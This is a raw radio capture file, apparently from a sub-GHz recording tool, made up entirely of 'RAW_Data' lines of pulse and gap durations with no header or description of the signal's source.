53 -138 139 -345 73 -450 81 -222 127 -433 95 -82 59 -802 57 -191 112 -400 103 -127 124 -215 63 -80 63 -192 70 -162 53 -100 57 -144 114 -140 55 -162 53 -135 143 -70 81 -289 116 -564 53 -90 117 -230 53 -257 97 -542 103 -68 150 -140 77 -84 95 -543 63 -150 61 -437 -RAW_Data: 53 -102 89 -239 53 -140 105 -551 81 -293 100 -221 106 -78 190 -303 73 -135 162 -174 189 -274 125 -121 110 -84 61 -288 104 -632 87 -194 69 -452 75 -269 61 -294 77 -662 94 -172 79 -131 53 -232 59 -615 55 -351 192 -68 59 -64 86 -90 61 -369 81 -66 59 -275 65 -136 96 -313 71 -72 129 -104 55 -80 89 -198 57 -76 91 -90 51 -387 67 -56 79 -56 53 -176 160 -228 61 -134 78 -96 53 -54 73 -375 53 -345 125 -153 71 -97 61 -224 93 -198 71 -134 57 -76 107 -110 73 -206 97 -186 69 -142 136 -402 63 -180 148 -232 154 -285 79 -178 96 -680 63 -265 135 -134 61 -255 59 -82 69 -519 89 -220 53 -798 77 -159 96 -269 89 -235 57 -368 65 -418 97 -289 53 -80 59 -425 160 -168 96 -54 274 -124 149 -90 51 -535 135 -152 57 -108 69 -90 63 -637 53 -739 96 -709 53 -197 113 -74 57 -212 67 -152 53 -146 112 -552 110 -177 301 -160 77 -250 142 -98 81 -60 67 -369 77 -576 107 -220 57 -221 59 -531 61 -156 166 -121 67 -604 61 -194 59 -523 73 -641 53 -99 51 -173 113 -196 127 -458 57 -262 63 -86 85 -426 117 -246 57 -167 51 -951 77 -654 114 -141 65 -581 100 -609 63 -147 148 -203 53 -62 51 -107 63 -88 81 -78 61 -145 73 -132 67 -825 57 -244 93 -178 59 -76 51 -229 69 -72 154 -54 85 -134 51 -60 97 -152 59 -259 53 -152 125 -54 53 -225 109 -72 86 -62 55 -165 59 -168 59 -190 59 -62 59 -245 79 -252 97 -336 110 -293 71 -116 79 -90 77 -52 219 -118 179 -122 59 -172 115 -176 77 -72 67 -842 131 -68 97 -343 59 -123 53 -228 71 -125 63 -295 53 -285 101 -303 53 -326 111 -176 83 -239 109 -87 59 -983 72 -90 97 -68 102 -949 89 -444 82 -184 83 -240 85 -461 67 -261 151 -577 181 -220 89 -284 69 -101 79 -1109 71 -257 116 -54 59 -141 53 -163 119 -156 82 -197 53 -168 59 -60 53 -214 71 -689 51 -52 89 -143 89 -94 109 -301 53 -233 61 -82 53 -227 79 -117 61 -125 81 -60 59 -304 138 -80 51 -210 149 -90 53 -256 104 -181 59 -718 79 -113 53 -1204 59 -155 71 -359 137 -224 89 -474 89 -114 81 -197 95 -183 53 -528 122 -358 57 -220 51 -974 100 -607 85 -442 61 -371 51 -338 135 -153 59 -712 53 -114 77 -158 65 -1228 53 -206 57 -98 133 -116 85 -208 71 -160 89 -293 72 -687 71 -469 77 -184 83 -76 89 -98 53 -376 147 -324 -RAW_Data: 173 -237 69 -255 94 -70 53 -156 202 -52 53 -594 53 -204 87 -170 57 -56 69 -136 84 -189 85 -349 106 -132 181 -453 77 -128 123 -138 53 -436 79 -758 150 -308 87 -124 85 -145 81 -312 141 -120 53 -170 63 -214 124 -165 53 -910 89 -72 61 -72 61 -62 115 -189 181 -440 73 -265 55 -74 53 -320 109 -452 138 -233 89 -54 65 -220 53 -601 63 -610 68 -70 93 -221 96 -62 299 -288 75 -242 57 -367 63 -456 103 -220 53 -74 51 -212 55 -198 121 -94 106 -862 103 -163 102 -52 111 -107 65 -120 53 -325 124 -116 89 -139 97 -154 51 -187 179 -124 88 -90 57 -134 155 -700 53 -259 57 -220 53 -115 91 -388 76 -138 69 -391 65 -105 132 -349 53 -124 320 -116 67 -56 148 -430 79 -195 53 -542 96 -358 61 -132 51 -130 97 -153 61 -118 89 -98 80 -52 156 -94 164 -274 71 -260 107 -62 129 -671 69 -461 53 -116 71 -108 71 -166 53 -234 200 -90 105 -144 61 -428 81 -337 67 -177 71 -375 53 -226 81 -52 51 -279 53 -105 71 -60 165 -114 51 -459 53 -154 71 -244 71 -276 161 -216 69 -302 65 -798 63 -330 51 -271 93 -66 59 -206 77 -243 57 -268 87 -487 53 -359 85 -180 142 -322 89 -289 61 -68 133 -130 267 -433 53 -58 91 -88 76 -184 55 -578 114 -84 69 -134 139 -54 61 -266 97 -54 209 -143 61 -325 51 -106 71 -154 73 -425 57 -102 109 -227 67 -377 79 -371 77 -132 65 -208 73 -776 94 -86 51 -94 205 -613 121 -431 77 -86 53 -110 168 -210 61 -135 65 -335 59 -302 81 -165 61 -64 71 -133 53 -198 103 -138 101 -287 51 -304 53 -397 53 -400 87 -439 63 -193 63 -629 61 -295 99 -74 156 -336 59 -212 93 -902 88 -188 168 -548 53 -273 61 -945 147 -438 59 -74 109 -392 61 -372 61 -170 53 -180 71 -126 71 -256 65 -143 79 -118 97 -197 85 -1111 61 -252 143 -224 53 -190 65 -212 51 -163 116 -665 146 -251 165 -562 53 -102 78 -1081 55 -536 110 -86 291 -138 88 -890 106 -424 71 -565 59 -84 59 -283 180 -686 154 -166 69 -218 124 -108 63 -320 59 -322 53 -114 124 -1341 51 -112 75 -236 73 -202 83 -123 51 -498 81 -520 51 -60 53 -138 171 -507 124 -342 53 -126 75 -150 63 -445 83 -90 53 -1146 67 -187 69 -268 144 -331 85 -129 79 -78 53 -82 102 -120 73 -89 59 -297 73 -114 73 -54 105 -388 87 -130 71 -419 81 -263 81 -239 77 -86 83 -95 61 -691 73 -426 -RAW_Data: 88 -103 105 -176 59 -111 51 -264 211 -98 67 -167 91 -120 100 -128 53 -284 51 -248 108 -130 63 -72 96 -410 51 -126 119 -251 86 -1154 80 -325 65 -298 101 -52 53 -481 115 -80 71 -380 89 -86 93 -62 80 -76 51 -118 67 -620 53 -90 107 -1013 59 -56 85 -129 53 -124 87 -138 122 -468 53 -397 71 -856 134 -181 111 -897 81 -72 51 -217 51 -52 93 -273 51 -208 135 -72 142 -393 53 -122 65 -980 53 -175 107 -422 78 -264 97 -523 83 -547 59 -110 59 -74 241 -80 89 -367 51 -299 91 -82 79 -107 53 -756 97 -248 89 -140 84 -360 71 -254 53 -117 97 -366 59 -366 106 -98 97 -424 157 -352 110 -461 113 -74 80 -94 53 -82 67 -141 137 -1134 81 -549 157 -187 81 -222 133 -76 59 -327 67 -130 123 -112 61 -441 89 -82 103 -473 57 -82 84 -147 110 -337 73 -684 53 -160 133 -627 53 -97 125 -195 59 -154 53 -239 97 -80 85 -785 77 -506 89 -501 95 -754 63 -132 79 -414 68 -420 107 -60 89 -54 53 -113 117 -214 182 -1416 55 -337 74 -346 97 -344 146 -96 57 -442 88 -74 55 -535 83 -169 99 -119 811 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 201 -878 65 -78 57 -240 85 -56 53 -293 180 -108 103 -451 83 -379 63 -126 61 -848 95 -120 81 -755 59 -160 106 -194 67 -244 69 -615 89 -732 186 -133 141 -134 59 -446 89 -182 51 -309 95 -520 65 -138 59 -156 53 -254 53 -337 51 -162 122 -84 67 -366 69 -695 148 -448 82 -136 73 -292 83 -228 53 -124 104 -90 112 -552 71 -72 71 -54 59 -162 69 -185 57 -1258 61 -118 73 -118 51 -202 81 -144 89 -548 61 -94 89 -160 254 -144 63 -90 59 -565 53 -471 95 -434 81 -591 53 -54 107 -54 125 -299 75 -894 57 -1172 51 -106 65 -657 83 -137 69 -241 133 -99 95 -220 55 -185 165 -118 142 -52 132 -523 71 -463 78 -174 145 -64 111 -54 59 -286 79 -359 140 -278 67 -287 85 -159 51 -60 61 -228 89 -74 63 -72 95 -844 53 -162 51 -286 69 -66 81 -75 67 -764 51 -76 65 -387 65 -84 51 -68 175 -480 59 -909 53 -97 53 -278 71 -476 194 -189 194 -198 61 -954 141 -142 51 -62 53 -130 102 -703 53 -182 53 -152 101 -154 61 -105 106 -177 116 -416 159 -922 81 -267 117 -170 157 -202 89 -337 319 -280 59 -111 51 -298 218 -367 1131 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -64 61 -126 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 63 -62 61 -64 127 -128 127 -56 69 -126 129 -126 127 -120 71 -54 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 61 -64 63 -128 127 -64 63 -62 63 -126 65 -62 127 -128 63 -62 -RAW_Data: 63 -62 127 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -56 69 -64 61 -64 61 -64 63 -64 63 -128 63 -62 127 -128 63 -64 125 -128 127 -128 55 -62 133 -128 127 -56 69 -64 61 -128 63 -64 61 -64 127 -64 61 -64 63 -126 63 -64 63 -62 127 -130 127 -118 71 -56 131 -66 61 -64 61 -64 61 -64 63 -128 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -126 127 -66 271 -255 53 -275 111 -827 101 -256 141 -367 59 -54 114 -482 88 -318 121 -830 125 -62 63 -90 137 -198 53 -409 61 -252 85 -307 53 -506 85 -52 75 -881 59 -90 61 -230 59 -134 53 -158 98 -107 150 -176 88 -128 61 -371 77 -448 153 -259 106 -216 61 -160 75 -141 53 -80 63 -126 92 -98 71 -102 59 -315 78 -462 61 -100 71 -99 71 -342 235 -82 71 -293 106 -66 96 -364 77 -72 57 -294 103 -296 59 -596 75 -104 83 -119 100 -268 97 -461 71 -589 79 -630 184 -92 81 -304 59 -559 89 -54 150 -384 79 -138 129 -151 59 -373 61 -149 114 -449 175 -62 75 -113 81 -58 142 -92 61 -338 51 -64 53 -395 65 -406 63 -557 105 -116 113 -187 83 -632 125 -353 53 -98 142 -54 71 -232 167 -612 71 -54 95 -72 57 -70 97 -173 222 -883 61 -195 53 -82 115 -224 61 -177 88 -361 81 -276 55 -88 63 -144 57 -176 170 -60 109 -180 87 -200 122 -97 127 -293 51 -252 111 -187 68 -459 51 -324 67 -359 79 -80 63 -755 59 -568 80 -335 65 -56 71 -78 53 -71 51 -60 148 -258 107 -134 107 -60 99 -254 59 -663 53 -197 127 -383 63 -64 99 -103 307 -229 122 -70 100 -442 71 -124 93 -243 75 -96 69 -248 82 -112 81 -114 140 -246 65 -54 73 -114 90 -120 75 -74 67 -217 89 -169 136 -98 57 -116 53 -279 93 -191 77 -121 51 -90 67 -185 146 -217 186 -89 71 -54 185 -214 147 -54 97 -316 89 -70 172 -52 53 -161 71 -90 141 -124 51 -337 67 -663 87 -58 159 -68 61 -164 109 -239 65 -72 65 -132 59 -106 100 -120 55 -62 71 -70 133 -133 111 -146 162 -199 89 -107 120 -233 53 -54 129 -76 153 -131 157 -104 202 -102 87 -72 65 -106 103 -52 59 -297 121 -104 53 -155 118 -194 61 -82 108 -156 217 -206 99 -72 202 -154 53 -203 59 -84 118 -72 87 -202 53 -179 81 -223 85 -158 123 -939 51 -54 -RAW_Data: 122 -869 59 -52 59 -502 51 -289 73 -58 53 -263 51 -82 101 -68 132 -419 53 -84 112 -375 71 -205 67 -210 84 -105 89 -455 59 -98 93 -142 85 -423 73 -104 105 -234 95 -168 53 -408 63 -601 51 -296 73 -546 116 -58 75 -142 53 -479 61 -166 117 -732 89 -394 169 -234 51 -614 92 -227 129 -52 71 -337 97 -217 71 -196 69 -261 53 -270 53 -757 83 -319 57 -166 67 -170 53 -444 61 -237 77 -58 61 -309 79 -150 88 -98 124 -351 88 -102 79 -270 147 -212 165 -144 136 -60 51 -186 65 -444 69 -100 59 -327 96 -54 111 -701 57 -89 67 -246 73 -192 223 -263 120 -187 103 -230 65 -370 135 -267 152 -506 211 -88 71 -875 81 -112 126 -163 57 -240 75 -154 57 -80 73 -120 81 -342 85 -72 82 -455 59 -613 122 -54 127 -214 69 -158 51 -286 71 -99 137 -172 109 -258 67 -100 128 -215 53 -54 57 -92 167 -701 202 -134 61 -90 65 -579 55 -82 59 -76 89 -406 55 -482 89 -152 100 -637 69 -357 51 -238 81 -96 59 -54 53 -196 219 -275 61 -602 69 -217 51 -477 75 -185 162 -790 51 -96 85 -166 55 -60 61 -62 59 -212 59 -249 59 -298 71 -273 113 -202 103 -78 98 -187 140 -72 53 -72 89 -179 282 -94 53 -254 59 -298 51 -117 53 -283 53 -68 91 -304 53 -204 105 -76 99 -68 105 -56 57 -78 77 -226 71 -94 57 -263 91 -84 69 -101 136 -233 79 -54 112 -56 59 -210 69 -200 106 -90 139 -224 110 -68 65 -264 172 -596 79 -82 97 -102 65 -131 87 -160 57 -108 93 -224 129 -119 53 -198 159 -260 67 -306 179 -280 340 -58 114 -72 97 -58 71 -131 63 -89 71 -68 334 -64 143 -106 356 -80 87 -60 188 -177 169 -78 205 -391 89 -75 57 -129 342 -74 98 -112 59 -197 410 -238 143 -199 53 -114 85 -92 116 -72 112 -108 196 -72 63 -97 119 -104 72 -106 109 -64 83 -133 95 -113 71 -68 63 -186 59 -56 97 -54 61 -72 89 -72 159 -60 57 -124 206 -159 255 -182 106 -54 196 -124 247 -188 93 -86 144 -130 151 -862 63 -80 126 -255 67 -1633 107 -546 106 -180 71 -158 57 -454 182 -64 67 -250 53 -203 65 -197 100 -687 79 -221 98 -68 67 -411 115 -72 107 -293 59 -223 67 -657 57 -208 57 -88 89 -402 80 -443 53 -111 75 -93 113 -70 154 -98 89 -606 63 -250 51 -374 87 -62 51 -168 85 -539 89 -501 115 -64 63 -427 121 -971 53 -588 61 -339 177 -60 59 -284 71 -172 -RAW_Data: 160 -329 51 -535 79 -629 59 -72 67 -247 71 -425 89 -334 53 -86 122 -156 53 -74 61 -62 53 -256 177 -92 102 -152 51 -108 99 -62 63 -90 219 -112 117 -417 106 -411 70 -278 175 -462 75 -284 108 -68 79 -726 71 -126 51 -176 86 -64 95 -218 158 -426 121 -152 65 -407 104 -293 63 -140 65 -443 65 -132 89 -90 75 -86 175 -74 71 -234 106 -100 134 -212 55 -122 51 -126 83 -212 179 -413 67 -164 113 -252 77 -247 107 -216 67 -1489 191 -370 51 -220 59 -96 127 -161 124 -801 59 -355 51 -168 88 -82 67 -76 99 -506 113 -66 1002 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 193 -288 53 -72 71 -573 148 -264 115 -134 51 -315 63 -131 91 -90 86 -80 79 -528 88 -922 -RAW_Data: 53 -90 196 -114 55 -74 61 -152 53 -243 63 -210 82 -52 53 -181 105 -234 89 -96 82 -194 51 -177 63 -589 51 -472 129 -163 99 -535 53 -211 67 -98 77 -284 85 -261 51 -209 191 -142 71 -64 59 -94 53 -248 75 -338 95 -134 89 -178 112 -551 79 -105 61 -220 244 -209 103 -84 59 -223 61 -896 140 -130 235 -144 51 -512 61 -552 63 -280 61 -521 70 -134 141 -149 97 -64 85 -72 95 -86 53 -106 75 -119 67 -174 86 -509 94 -561 89 -392 65 -96 103 -286 86 -323 177 -408 51 -442 99 -321 213 -165 152 -637 89 -293 80 -901 120 -98 61 -755 82 -372 51 -221 73 -605 51 -56 61 -187 59 -271 186 -80 61 -211 125 -795 99 -282 93 -295 83 -417 86 -333 53 -423 102 -343 75 -248 79 -595 51 -164 61 -72 164 -124 211 -450 51 -116 57 -56 65 -442 71 -171 98 -70 112 -315 97 -206 92 -232 98 -54 53 -162 53 -54 237 -200 1313 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -56 71 -126 63 -62 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 127 -128 127 -118 135 -56 69 -126 127 -128 127 -120 63 -62 131 -66 61 -64 61 -64 63 -62 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -62 63 -62 63 -64 63 -62 63 -128 63 -64 127 -128 63 -62 125 -128 127 -128 63 -62 125 -130 127 -56 69 -62 61 -128 63 -64 63 -62 127 -64 63 -64 61 -128 63 -64 61 -64 127 -128 127 -128 63 -62 125 -64 63 -62 63 -62 63 -64 63 -128 63 -64 125 -64 63 -126 65 -62 127 -128 63 -62 125 -64 257 -147 51 -135 75 -317 51 -366 65 -336 150 -273 67 -409 140 -160 63 -544 51 -452 119 -366 135 -517 79 -196 96 -91 51 -723 88 -204 89 -141 -RAW_Data: 80 -167 105 -326 166 -76 101 -364 99 -60 51 -428 97 -132 61 -126 264 -157 71 -136 115 -267 87 -342 152 -487 97 -60 63 -284 74 -344 51 -504 55 -60 59 -181 53 -62 93 -126 67 -60 67 -500 138 -90 79 -159 71 -257 51 -194 102 -207 61 -64 106 -560 69 -210 89 -244 204 -204 65 -124 59 -52 80 -54 77 -356 71 -382 51 -808 80 -1809 85 -356 67 -111 67 -74 61 -397 53 -327 130 -76 53 -189 174 -482 53 -215 73 -124 77 -334 139 -124 65 -211 57 -100 207 -260 51 -766 59 -142 89 -371 89 -87 134 -89 51 -466 87 -54 51 -123 61 -506 97 -240 53 -99 61 -86 53 -54 67 -82 69 -626 61 -281 61 -803 53 -1413 59 -112 69 -377 59 -328 59 -559 61 -191 53 -242 75 -383 71 -255 81 -94 103 -216 89 -806 97 -168 59 -136 75 -217 91 -214 79 -455 61 -98 55 -94 53 -174 132 -476 59 -257 51 -192 183 -92 111 -113 137 -54 111 -54 83 -93 141 -84 153 -143 71 -58 51 -180 80 -139 71 -248 71 -208 221 -347 97 -341 67 -70 266 -72 53 -93 51 -78 107 -92 63 -301 83 -54 51 -136 59 -112 65 -82 178 -52 51 -64 217 -205 112 -260 128 -98 59 -219 73 -106 97 -141 193 -186 61 -54 87 -126 123 -158 69 -570 123 -62 102 -70 181 -316 51 -94 96 -107 148 -70 277 -86 239 -103 97 -227 71 -89 63 -191 110 -107 81 -58 113 -149 105 -54 99 -147 177 -142 127 -72 95 -54 152 -80 136 -196 87 -169 80 -262 151 -90 115 -68 124 -198 71 -147 53 -82 258 -72 142 -88 133 -115 61 -97 171 -234 77 -54 81 -54 95 -104 88 -121 53 -72 132 -84 65 -130 81 -321 91 -136 130 -92 179 -106 55 -146 110 -60 67 -81 145 -62 65 -199 106 -95 124 -233 51 -62 219 -100 239 -220 55 -241 140 -54 241 -161 63 -374 67 -279 59 -173 87 -107 71 -167 55 -308 53 -402 53 -570 61 -227 59 -576 126 -72 59 -132 76 -298 63 -263 71 -326 87 -120 63 -100 104 -397 156 -389 141 -171 110 -82 55 -125 75 -680 135 -161 121 -228 100 -881 61 -116 101 -150 75 -308 59 -503 75 -157 61 -425 186 -287 108 -64 63 -1169 59 -189 53 -72 71 -256 93 -236 73 -295 114 -125 65 -60 67 -306 67 -192 55 -186 73 -172 85 -210 123 -1102 102 -451 91 -127 212 -238 59 -618 145 -54 95 -158 73 -68 53 -186 59 -81 129 -131 71 -204 51 -248 114 -441 53 -78 59 -228 142 -86 53 -54 123 -235 112 -162 -RAW_Data: 53 -238 77 -579 53 -123 65 -70 107 -58 153 -193 57 -214 134 -244 51 -737 118 -96 71 -238 114 -162 91 -226 51 -72 63 -72 61 -114 57 -273 69 -125 71 -107 53 -162 100 -370 211 -521 127 -728 81 -238 57 -552 75 -375 89 -303 59 -62 95 -222 88 -64 65 -132 129 -325 103 -226 83 -104 87 -254 109 -68 69 -173 53 -130 95 -141 116 -135 88 -54 97 -258 89 -60 111 -94 103 -127 113 -184 53 -110 121 -70 109 -70 77 -159 51 -468 53 -52 122 -108 53 -56 136 -206 71 -120 149 -62 105 -130 105 -123 110 -285 158 -82 97 -146 89 -249 75 -368 65 -64 53 -72 105 -86 83 -495 145 -84 81 -76 177 -193 79 -107 61 -253 59 -68 51 -266 125 -114 81 -134 94 -388 77 -75 55 -531 67 -82 164 -113 53 -173 61 -161 81 -283 87 -92 137 -171 53 -429 156 -514 207 -968 98 -52 75 -465 81 -156 99 -54 53 -301 65 -868 93 -461 61 -123 99 -56 53 -511 61 -98 89 -52 59 -441 71 -210 73 -610 63 -517 73 -509 117 -231 61 -98 97 -70 81 -700 93 -309 140 -171 137 -72 63 -156 71 -258 53 -163 53 -170 61 -263 195 -102 63 -54 224 -114 53 -224 205 -521 51 -300 99 -302 75 -68 61 -80 51 -231 112 -391 65 -148 51 -125 67 -232 51 -281 61 -80 71 -1753 67 -209 89 -76 55 -375 67 -76 53 -312 59 -743 55 -112 194 -228 67 -205 97 -86 91 -296 87 -160 89 -308 57 -92 67 -88 67 -140 57 -416 97 -378 51 -70 73 -383 73 -229 51 -144 87 -186 223 -971 77 -221 69 -1203 51 -98 77 -372 53 -78 59 -308 63 -267 51 -241 69 -304 294 -113 139 -596 63 -72 61 -287 121 -84 71 -178 51 -54 119 -164 106 -1146 53 -311 188 -313 153 -119 81 -60 67 -145 59 -320 87 -223 53 -354 81 -58 57 -283 82 -204 97 -131 79 -370 61 -676 55 -54 76 -123 63 -908 67 -445 53 -62 73 -622 59 -437 133 -145 201 -301 97 -422 93 -227 63 -68 51 -360 129 -251 61 -491 125 -509 63 -160 71 -675 67 -189 78 -329 95 -88 67 -256 74 -77 103 -82 585 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 209 -134 69 -450 59 -112 97 -162 318 -54 155 -246 167 -72 126 -283 93 -228 67 -522 113 -80 61 -100 97 -82 89 -151 61 -303 71 -148 96 -328 63 -406 51 -196 83 -465 53 -86 51 -74 65 -76 82 -54 75 -182 69 -157 101 -180 71 -328 63 -578 51 -171 51 -533 95 -52 105 -472 89 -54 53 -312 51 -273 63 -110 83 -280 73 -287 83 -481 142 -136 88 -225 81 -377 103 -663 57 -753 53 -274 94 -216 69 -92 51 -503 71 -106 67 -371 118 -303 114 -247 78 -470 59 -138 107 -168 96 -833 63 -89 59 -157 106 -236 53 -62 187 -113 126 -828 65 -70 69 -106 94 -76 71 -320 69 -299 53 -68 131 -258 75 -58 97 -428 81 -264 53 -180 117 -435 71 -276 51 -78 65 -152 100 -287 59 -84 95 -202 124 -90 78 -54 185 -198 53 -142 53 -342 93 -437 73 -393 63 -560 112 -496 67 -363 90 -66 131 -216 193 -140 77 -198 55 -166 75 -86 61 -296 107 -224 53 -82 79 -298 61 -109 61 -82 73 -187 53 -80 79 -328 80 -112 59 -120 59 -192 102 -717 -RAW_Data: 89 -482 77 -599 59 -72 120 -346 69 -257 51 -76 77 -90 61 -153 160 -551 150 -441 67 -100 59 -203 89 -325 53 -300 137 -119 53 -100 132 -638 88 -501 59 -88 107 -52 67 -228 1061 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 125 -130 63 -62 63 -62 63 -64 61 -64 127 -130 63 -62 61 -64 127 -128 127 -56 69 -126 129 -128 125 -128 63 -54 133 -64 61 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -126 65 -62 127 -128 63 -62 63 -62 127 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 